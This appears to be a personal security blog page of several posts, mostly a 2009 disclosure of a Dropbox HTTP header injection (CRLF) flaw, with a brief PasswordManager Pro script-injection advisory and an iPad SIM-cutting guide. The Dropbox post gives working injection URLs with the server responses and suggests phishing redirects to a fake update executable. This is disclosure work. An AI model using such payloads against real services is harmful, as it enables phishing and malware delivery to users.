Navigation
Twitter


Sunday
May092010

Nmap NSE Hacking in seven parts is being released NOW

Just a heads up for my German speaking readers interested in nifty scripting for everyone's favorite portscanner (and more): We are having a nice 7-part series on NSE scripting over at scip labs.

We are basically trying to summarize the experience we gained over the last few months. We had a bunch of die-hard network security assessments on our plate, that would have been nearly impossible to accomplish without decent scripting and automation.

Part 3 was released today, the remaining parts 4-7 will follow on a daily basis.

Wednesday
May052010

Can I run an iPad 3G with any Sim Card?

Now this is something I got a lot during the last few days since I got back from NYC with new iPad 3G, which I assumed, might be the first one to be used in Switzerland.

Since Apple is teaming up with AT&T and we didn't get any information about how the 3G models are going to work over here - we don't even know when they are going to hit the shelves - I just took the chance.

First: Rejoice, it's working. If you want an iPad 3G and you or a friend of yours happens to be in the US right now, get one if you want one. It's most likely to be cheaper than when it comes out in Europe anyway and it's not much of a problem to get it up and running.

There we go: 3G Connectivity using Swisscom

Basically, there is a single problem you are going to run into: The sim card. The iPad, and as we know since Gizmodogate, the iPhone 4G, use the MicroSim Format instead of the more common MiniSim, which is common here in Switzerland and a lot of other countries. So there are two methods to solve this problem:

1. Contact your provider, ask him to send you a MicroSim card.
If it works out, great. It is much more likely though, that you will get weird, confused replies if people don't know what you are talking about, which they usually won't, at least right now. Additionally, it's probably going to cost you some money. Expect to pay 40 bucks if you live in Switzerland for any new Sim Card, no matter how much plastic it has around its chip.

2. Build your own
I'm probably going to post a small howto on this, but for know, rest assured that you actually can cut down your existing, normal sized Sim Card to get a perfectly working MicroSIM. All you need is a pen, a pair of scissors and a file to make fine adjustments. TechRadar has a nice set of instructions ready for you, if you want to get an idea.

If you are in Switzerland, please note that Sim cards that used to be sold in Switzerland are more rectangular than those shown on TechRadar. Basically, you don't have to care about that, but there will be nearly no plastic around the chip left when you're done - and you will have to carefully file (yes, file, don't try to do it with the scissors) the beveled edge on the upper right into the chip. It's only a very tiny bit - use the sim holder of your iPad and the original AT&T simcard for comparison - so take it easy there.

When you're done with cutting the sim into size, you can insert it into your iPad and you will have to enter your pin code in order to unlock it. In most cases, you will also have to insert your APN data manually in the Cellular Data Configuration panel. If you happen to be a Swisscom customer, this data is:

APN: gprs.swisscom.com
User: grps
Password: gprs

If you use any other carrier, please google for the correct APN information or contact your helpdesk.

Now go and enjoy your cellular freedom by checking into Foursquare from your favorite bar where people stare in shock, awe and astonishment. You're probably going to be mugged as well. However, have fun with your new iPad 3G.

Thursday
Apr292010

Jon Stewart vs. Apple: Appholes!

Yeah, so the whole story revolving about a drunk guy leaving a ultra-secret iPhone prototype in a bar for some other guy to find and sell to Gizmodo has been covered far more than enough throuhout the last few days. However, if there's a guy on this planet, who's take on this is worth a post at any time, it's Jon Stewart:

The Daily Show With Jon StewartMon - Thurs 11p / 10c
Appholes
www.thedailyshow.com
Daily Show Full EpisodesPolitical HumorTea Party

Tuesday
Dec152009

Disclosure: PasswordManager Pro 6.1 Script Injection

PasswordManager Pro 6.1 Script Injection Vulnerability
scip AG Vulnerability ID 4063 (12/15/2009) http://www.scip.ch/?vuldb.4063

Stefan Friedli at scip AG (Switzerland) found an input validation error within the current release, which enabled an attacker to perform various web-based attacks.

The processing method for the search function fails to perform proper input validation on the data that is being submitted via HTTP GET. The parameter "searchtext" lacks validation and is therefore vulnerable to script injection. While there is a basic input filterting method in place, it fails to detect more advanced (e.g. encoded) payloads.
Other parts of the application might be affected too.

This vulnerability has been tested on version 6.1, other versions might be affected as well.

Advisory:
PasswordManager Pro 6.1 Script Injection Vulnerability

Monday
Dec142009

Details on the Dropbox.com HTTP Header Injection Vulnerability

Dropbox is a cloud-based storage application and service operated by Dropbox, Inc. The service enables users to store and sync files online and between computers and share files and folders with others. [Source: Wikipedia]

It's an amazing tool and I love it to sync my non-sensitive stuff between my computers and my iPhone. I mean, it's free, it's functional and it keeps me from carrying around data on an usb stick.

However, while I can recommend Dropbox from a usability perspective, I was quite curious, how the application would handle security issues.

When using Dropbox, you are given several possibilities to access your data. The easiest is to install the Dropbox client, which creates a Dropbox folder in your, OS-specific, Documents folder and adds some nifty context-menu extensions to allow direct interaction in order to display file changes, access data online, share stuff etc.

Now, you might have a folder of... well, anything that you want to browse on the Dropbox website instead of your own filesystem, for whatever reason. Now you go to Dropbox.com, log in, browse to the folder and there you are. Or: You just rightclick on that folder, select "Browse on Dropbox website", get your existing session converted to a websession which makes authentication unnecessary and, there you go.

When you chose the lazy way, this is what happens.
Your browse is opening up and a URI like the following is being opened up (Yes, the variable values have been changed to prevent people tinkering around with my Dropbox account...):

https://www.dropbox.com/tray_login?i=372832&t=1260625705&v=f1a9afcb67f2372780f3893d170de164f070cb84&url=c%2Fbrowse%2FPhotos%3Fns_id%3D711010

Or, if you replace the query fields by their suspected content:

https://www.dropbox.com/tray_login?i={Dropbox ID}&t={Timestamp}&v={Verification String}&url={Whatever Directory you want to access}

This is what your browser does. It's sending some authentication data along with a timestamp and the directory you want to see. Now the server processes this data and - if you're lucky enough to get authenticated - you will get back a HTTP/302 reply, which sets the necessary cookies to get an authenticated session in your browser and redirects you using the Location: Header and the value of the "uri" Parameter your client submitted.

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 13:48:26 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: lid=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumjar=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: taste=YADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: jar=YADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: touch=YADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumlid=YADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
location: /c/browse/Photos?ns_id=711010
pragma: no-cache
cache-control: no-cache
Content-length: 324

Found

The resource was found at /c/browse/Photos?ns_id=711010;
you should be redirected automatically.

WSGI Server

Wait. It uses the "uri" parameter in a HTTP header? Oh, okay. That's... interesting. Let's try something:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aX-AllYourBase:%20Are%20belong%20to%20us

Now let's just fire up WebScarab and see what we get here...

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:04:52 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
X-AllYourBase: Are belong to us
pragma: no-cache
cache-control: no-cache
Content-length: 348

Oh. They don't validate the uri parameter then. We can inject our own headers. Lucky for us, the vulnerable parameter is appended to the "location:" header line, so if we append another one of those, most browsers will resort to use the last one.

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aLocation:%20http://www.scip.ch

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:10:50 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
Location: http://www.scip.ch
pragma: no-cache
cache-control: no-cache
Content-length: 342

You click on a http://www.dropbox.com/... link and end up on our corporate website. Nice. We could try to redirect people to http://whateveryoulike.tld/dropbox_update.exe instead, which would fit nicely in a phishing attack.

Or, we could inject something completely else... like initiating a HTTP Response Splitting attack by injecting another HTTP response header with status code 200 and some nifty javascript magic or Metasploits good old browser_autopwn to work. Use your imagination ;).

Dropbox has been informed about this issue and will hopefully patch their servers soon in order to prevent you from being redirected to your next favourite ZeuS tracker ;).

While I was researching this issue, Nathan Hamiel came up with a rather similar issue: The enumeration of Dropbox user accounts using sequential account numbers for public file paths. You should check out his article here.